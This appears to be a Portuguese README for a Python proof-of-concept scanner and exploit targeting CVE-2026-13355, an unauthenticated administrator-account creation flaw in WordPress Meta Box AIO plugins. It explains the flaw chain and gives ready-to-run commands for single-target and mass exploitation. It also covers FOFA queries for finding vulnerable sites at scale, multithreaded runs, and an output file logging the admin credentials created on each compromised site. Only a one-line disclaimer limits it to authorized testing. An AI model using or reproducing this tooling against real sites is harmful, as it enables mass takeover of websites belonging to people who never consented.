
Scanner PoC e exploit em Python para CVE-2026-13355, uma escalada de privilégios de administrador não autenticada em plugins WordPress Meta Box AIO, com varredura em massa via FOFA.
Prova de conceito em Python 3 — scanner e exploit para CVE-2026-13355 no pacote WordPress Meta Box AIO (e extensões relacionadas MB Frontend Submission / MB User Profile).
| Plataforma | Plugin WordPress |
| Componente | Meta Box AIO |
| Afetado | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| Corrigido em | Meta Box AIO 3.12.0+ (autorização em Form::process()) |
| CVSS | 9.8 Crítico |
| Autenticação | Não autenticado |
| CWE | CWE-269 — Gerenciamento Impróprio de Privilégios |
| Pesquisador | h0xilo (Wordfence) |
Falhas encadeadas em duas extensões empacotadas permitem a criação de conta de administrador sem autenticação:
mbfs) — rwmb_frontend_field_object_id sobrescreve o alvo do formulário sem autenticação; Form::process() omite user_can_edit(), permitindo que atacantes usem wp_update_post() e sobrescrevam post_content em posts/páginas arbitrários.mbup) — Atributos injetados no shortcode [mb_user_profile_register role="administrator" auto_login="true"] são confiados sem validação de função.Importante: A cadeia de exploração requer um formulário mbfs (envio pelo frontend) público, não formulários mbup apenas de login. Muitos resultados do FOFA expõem apenas a interface de login/registro mbup — esses são sinalizados como plugin_mbup_only, não exploráveis por esta cadeia.
pip install -r requirements.txtpip install -r requirements.txt
# Alvo único — verificação (fluxo de terminal ao vivo por padrão)
python poc.py -u https://target.example --mode check
# Verificação em massa (uma linha por alvo, a menos que --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Alvo único — exploit (requer URL do formulário mbfs + ID do post)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Exploit em massa a partir da saída da verificação
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Consulta de exemplo:
body="/wp-content/plugins/meta-box-aio/"
Normalizar uma exportação CSV do FOFA:
python fofa_to_list.py -i fofa_export.csv
# grava list.txt + CSV normalizado (apenas local, ignorado pelo git)
python poc.py --list list.txt --mode check --threads 20
Use --vuln-list exploited.txt em execuções de exploit para que os acertos da verificação em hits.txt não sejam sobrescritos.
status da verificaçãopost_content via POST através de um formulário mbfs com ?rwmb_frontend_field_object_id=<id>.mbfs de contato/newsletter frequentemente não possuem um campo post_content real; a sobrescrita pode ainda falhar na prática..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas de varredura locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) estão no .gitignore e não devem ser commitados.
Apenas para testes de segurança autorizados e educação. Você é responsável pelo cumprimento das leis aplicáveis e das regras do programa.
| Opção | Descrição |
|---|
-u, --url | URL base única |
--list | Lista de URLs, CSV normalizado do FOFA (coluna url) ou candidates.jsonl |
--mode | check ou exploit |
--form-url | Página com [mb_frontend_form ...] / mbfs-form |
--object-id | ID do post/página para rwmb_frontend_field_object_id |
--paths | Caminhos extras para rastrear formulários de frontend |
--username, --email, --password | Credenciais de registro (exploit) |
--shortcode | Payload injetado em post_content (shortcode padrão de registro de admin) |
--verify | Confirmar via /wp-admin/ ou wp-login.php após o registro |
--flow | Transmitir uma linha por alvo em execuções em massa (padrão com --list) |
--no-flow | Apenas resumo de progresso |
--quiet, -q | Saída mínima no console |
--threads, -j | Concorrência em massa (padrão 15) |
--output | Log JSONL (padrão cve_2026_13355_results.jsonl) |
--vuln-list | Linhas de acertos/explorados em texto (padrão hits.txt / use exploited.txt para exploit) |
--candidates-list | JSONL de metadados da verificação (padrão candidates.jsonl) |
| Arquivo | Modo | Conteúdo |
|---|
cve_2026_13355_results.jsonl | ambos | JSON completo por alvo |
hits.txt | check | URLs com candidate_mbfs |
candidates.jsonl | check | form_url, object_id, dicas de versão |
exploited.txt | exploit | url|user|email|pass|oid=… |
| Status | Significado |
|---|
candidate_mbfs | Plugin presente + formulário MB Frontend Submission encontrado (exploit pode ser possível) |
plugin_mbup_only | Apenas formulários de login/registro do User Profile — não é esta cadeia de CVE |
plugin_no_frontend_forms | Fingerprint do plugin, nenhum formulário de frontend rwmb descoberto |
patched | Versão acima do intervalo afetado (quando legível) |
no_plugin | Meta Box AIO / extensões não detectadas |